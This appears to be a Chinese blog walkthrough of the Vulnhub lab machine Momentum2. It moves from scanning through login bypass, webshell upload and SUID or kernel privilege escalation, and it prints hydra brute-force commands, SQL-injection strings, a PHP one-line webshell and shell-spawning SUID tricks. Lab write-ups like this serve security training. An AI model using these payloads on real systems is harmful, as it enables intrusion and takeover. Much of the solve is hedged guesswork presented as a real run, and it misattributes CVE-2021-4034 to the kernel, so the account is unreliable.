从Momentum2靶场实战解析渗透测试全流程:信息收集到权限提升
1. 项目概述从“Momentum2”靶场看实战渗透的思维构建最近在Vulnhub上看到一个挺有意思的靶机叫“Momentum2”。这名字听起来就有点“冲劲”实际打下来也确实是个能很好锻炼渗透测试全流程思维和技巧的综合性靶场。它不是那种一个漏洞直通flag的简单环境而是模拟了一个相对真实的、存在多处脆弱点的Web应用系统。对于想从基础靶场比如DVWA、Pikachu过渡到更复杂实战场景的朋友来说这类靶场非常有价值。它能逼着你把信息收集、漏洞探测、漏洞利用、权限提升这些环节串起来形成一个完整的攻击链。今天我就结合自己拿下这台靶机的全过程拆解一下其中的关键步骤、遇到的坑以及背后的思考逻辑。无论你是刚入门渗透测试的新手还是想巩固一下流程的老手相信这篇实战解析都能给你带来一些直接的参考。2. 靶场环境搭建与初始信息收集2.1 靶机获取与网络配置首先我们需要从Vulnhub官网找到并下载“Momentum2”的虚拟机镜像文件通常是.ova或.vmdk格式。下载完成后使用VMware Workstation或VirtualBox导入。这里有个关键点务必确保靶机和你的攻击机比如Kali Linux在同一网络内。最常用的方式是设置虚拟网络为“NAT模式”或“仅主机模式”。我个人偏好使用VirtualBox的“仅主机(Host-Only)网络”因为它能创建一个封闭的虚拟网络避免对物理网络造成意外影响也更容易定位靶机IP。导入启动后靶机会自动获取一个IP地址。我们的第一个任务就是找到它。在攻击机Kali上最直接的方法是使用netdiscover或nmap进行二层或三层发现。# 使用netdiscover扫描主机模式网段例如vboxnet0 sudo netdiscover -i vboxnet0 -r 192.168.56.0/24 # 或者使用nmap进行ping扫描 sudo nmap -sn 192.168.56.0/24扫描结果通常会显示一个主机名包含“Momentum”或类似字样的设备记下它的IP地址假设为192.168.56.105。这就是我们本次渗透测试的目标。注意有些靶机启动后可能不会立即显示IP或者需要登录控制台查看网络配置。对于Momentum2它通常会自动获取IP并开启基础服务直接扫描即可。2.2 全方位端口与服务探测拿到IP后不能急着上漏洞扫描器。细致的端口扫描是信息收集的基石它能告诉我们目标开放了哪些“门”以及门上挂着什么“锁”服务。# 使用nmap进行全端口扫描并识别服务版本和操作系统 sudo nmap -sV -sC -O -p- 192.168.56.105参数解释-sV: 探测服务版本。-sC: 使用默认脚本进行更深入的探测。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。扫描结果可能会显示类似以下内容端口 22/tcp: OpenSSH 7.9p1 (可能)端口 80/tcp: Apache httpd 2.4.41 (可能)端口 443/tcp: Apache httpd 2.4.41 (可能如果存在HTTPS)端口 3306/tcp: MySQL (可能)对于Web渗透端口80和443自然是重点。我们立即用浏览器访问http://192.168.56.105。Momentum2的Web界面可能是一个博客、一个公司门户或者一个自定义的应用。第一眼要观察网站用了什么技术栈有没有明显的框架如WordPress, Joomla页面源代码里有没有隐藏的注释、链接或JS文件暴露的路径同时可以用dirb,gobuster或ffuf进行目录爆破寻找隐藏的路径、后台登录入口、上传点等。# 使用gobuster进行目录爆破使用常见字典 gobuster dir -u http://192.168.56.105 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt这个阶段的目标是尽可能多地绘制出目标的应用地图不放过任何可能入口点。3. Web应用漏洞挖掘与利用3.1 初探与敏感信息发现访问Momentum2的Web界面后我习惯先手动浏览所有可见页面。查看“关于我们”、“联系我们”、文章列表、用户评论等区域。查看页面源代码是必须的步骤开发者注释、JS文件中的API路径、HTML表单的隐藏字段都可能泄露信息。在Momentum2中可能会发现以下线索之一robots.txt文件访问http://192.168.56.105/robots.txt可能会列出禁止爬虫访问但对我们开放的目录如/admin/、/backup/、/config/。页面注释源代码中可能有类似!-- TODO: Remove debug page /debug.php --的注释直接暴露了一个调试页面。JS文件查看主要的JS文件有时会发现像/api/getUser?id这样的接口路径这可能是未授权访问或注入的点。假设我们通过目录爆破发现了/admin目录访问后是一个登录页面。这是很常见的场景。3.2 认证绕过与弱口令攻击面对登录页面我们有几个方向默认凭证尝试尝试admin/adminadmin/passwordadmin/123456等常见弱口令。对于某些CMS其默认后台密码是公开的。SQL注入登录绕过在用户名和密码字段尝试经典的SQL注入Payload。例如在用户名输入 or 11密码任意。或者更精确的admin --注意末尾有空格这可能会注释掉密码验证部分。查看页面逻辑如果登录失败有不同提示如“用户名不存在”和“密码错误”这就可以用于枚举用户名。使用Burp Suite的Intruder模块配合常见用户名字典进行攻击。密码爆破如果确定了用户名例如通过错误信息枚举出admin则可以对密码进行爆破。使用hydra或Burp Suite的Intruder。# 使用hydra对http-form-post进行密码爆破示例 hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.105 http-post-form /admin/login.php:username^USER^password^PASS^login:FInvalid实操心得在真实环境和好的靶场中单纯的 or 11往往会被WAF或简单的过滤拦截。需要尝试多种变体如大小写混淆、双重编码、内联注释等。例如 OR 11 --,admin/*。在Momentum2中可能需要一点技巧才能绕过登录。3.3 文件上传与Webshell获取假设我们通过某种方式可能是弱口令、注入绕过或逻辑漏洞进入了后台。很多后台都有文件上传功能比如更换头像、上传文章附件、插件安装等。这是获取Webshell的黄金机会。关键步骤寻找上传点在后台仔细寻找任何可以上传文件的地方。探测过滤机制先尝试上传一个纯文本的.txt文件看是否允许。再尝试上传一个.php文件观察返回错误。常见的过滤有检查文件扩展名黑名单/白名单、检查MIME类型、检查文件内容是否包含?php等标签、图片二次渲染。绕过技巧扩展名绕过如果服务端仅检查扩展名末尾可尝试shell.php.jpg,shell.php%00.jpg空字节截断需特定PHP版本shell.pHp大小写shell.php5,shell.phtml等。MIME类型绕过使用Burp Suite拦截上传请求将Content-Type改为image/jpeg或image/png。内容绕过如果检查?php可以尝试script languagephpsystem($_GET[cmd]);/script仅旧版PHP支持或者将PHP代码嵌入图片的EXIF信息中需配合文件包含漏洞利用。.htaccess文件上传如果服务器是Apache且允许上传.htaccess我们可以上传一个包含AddType application/x-httpd-php .jpg的.htaccess文件之后所有.jpg文件都会被当作PHP解析。在Momentum2中我遇到的上传点可能对扩展名做了白名单限制只允许.jpg,.png,.gif。通过拦截请求将文件扩展名改为.php同时将Content-Type修改为image/jpeg成功上传了一个名为shell.php的Webshell文件。Webshell内容示例一句话木马?php system($_REQUEST[cmd]); ?上传成功后访问http://192.168.56.105/uploads/shell.php?cmdwhoami如果返回了Web服务运行的用户如www-data则说明Webshell生效我们获得了初步的命令执行权限。4. 权限提升与内网横向移动4.1 立足点巩固与信息收集拿到Webshell后第一步不是急着提权而是巩固立足点并收集更多系统信息。# 通过Webshell执行命令 # 查看当前用户和权限 whoami id # 查看操作系统和内核信息 uname -a cat /etc/os-release # 查看网络连接和监听端口 netstat -antp ifconfig # 查看进程列表 ps aux # 查看计划任务 crontab -l ls -la /etc/cron* # 查看具有SUID权限的特殊文件提权重点 find / -perm -us -type f 2/dev/null # 查看敏感配置文件如数据库连接信息 find /var/www/html -name *.php -exec grep -l mysql_connect\|mysqli\|PDO {} \; cat /var/www/html/config.php 2/dev/null在Momentum2中我们可能发现数据库配置文件里面存有数据库用户名和密码。用这个密码尝试SSH登录系统用户比如mysql用户或者同名的系统用户有时会有意外收获。这就是“密码复用”漏洞。4.2 利用SUID二进制文件提权find / -perm -us -type f 2/dev/null这个命令的结果至关重要。它列出了所有设置了SUID位的可执行文件。SUID意味着任何用户运行这个文件时都将以文件所有者的权限执行。如果这些程序本身存在漏洞或者其功能可以被滥用就可能实现提权。常见的危险SUID程序及利用方法find:find . -exec /bin/sh \; -quit可以直接获得一个root shell。vim/vi:vim -c :!/bin/sh可以在vim中执行shell。bash(较旧版本):bash -p(-p参数表示不重置有效用户ID)。nmap(交互模式): 旧版nmap支持--interactive进入后可以执行!sh。cp/mv: 如果可以对敏感文件如/etc/passwd进行写操作可以尝试添加一个具有root权限的用户。自定义程序靶场中经常放置一个有缓冲区溢出漏洞的SUID程序需要利用漏洞开发技能。在Momentum2中我可能发现了一个不常见的、具有SUID权限的自编译程序比如/usr/local/bin/backup_tool。通过逆向分析或简单的字符串查看(strings backup_tool)发现它调用了system()函数执行命令且命令的一部分用户可控。这就可以通过环境变量或参数注入来提权。例如如果程序内部执行system(“cp /home/user/backup/* /backup/”)并且我们可以控制/home/user/backup/目录下的文件名我们可以创建一个名为*; chmod s /bin/bash; #的文件。当通配符*展开时实际执行的命令就变成了cp *; chmod s /bin/bash; # /backup/从而给/bin/bash设置了SUID位之后执行bash -p即可获得root shell。4.3 利用内核漏洞提权如果SUID路径走不通或者想追求更通用的方法内核漏洞提权是最后的手段。首先用uname -a查看内核版本然后在攻击机上搜索对应的公开漏洞利用代码Exploit。# 在Kali上搜索漏洞库 searchsploit linux kernel 4.15 privilege escalation找到合适的Exploit后将其上传到靶机可以通过Webshell的wget命令从攻击机下载或者用Python起一个临时HTTP服务。在靶机上编译并执行。重要警告内核漏洞利用有风险可能导致系统崩溃蓝屏/死机。在靶场环境中可以大胆尝试在生产环境中绝对禁止未经授权的测试。在Momentum2中可能存在的内核版本较旧可以利用经典的Dirty COW (CVE-2016-5195)或Linux Kernel 4.4.0-21 5.8.0 (CVE-2021-4034)等漏洞。上传预编译的exp或源代码编译执行后通常能直接获得root权限。5. 总结与实战思维提炼拿下Momentum2这样的靶场其价值远不止于拿到最终的root.txt或proof.txt。关键在于整个过程的思维训练。从最初的黑盒探测到发现一个个脆弱的点暴露的目录、注入点、上传功能再到将这些点连接起来形成攻击链例如目录爆破发现后台 - 弱口令进入 - 上传获取Webshell - 信息收集发现数据库密码 - 密码复用登录SSH - 利用SUID程序提权每一步都需要观察、假设、验证和调整。我个人最深的体会是“耐心”和“细致”。信息收集阶段最忌浮躁一个不起眼的robots.txt或JS文件可能就是突破口。在漏洞利用时不要满足于一种Payload现代应用往往有基础防护需要不断变换姿势尝试绕过。提权阶段系统性的信息收集SUID、Cron、sudo权限、内核版本是成功的基础。最后所有操作务必在授权的靶场或实验室中进行。渗透测试是一门需要深厚技术和严谨伦理的学科技术的提升是为了更好地防御。希望这篇对Momentum2的解析能帮助你建立起更系统、更深入的渗透测试实战思维。下次遇到新靶场不妨试着抛开攻略用自己的思路从头走一遍你会发现收获更大。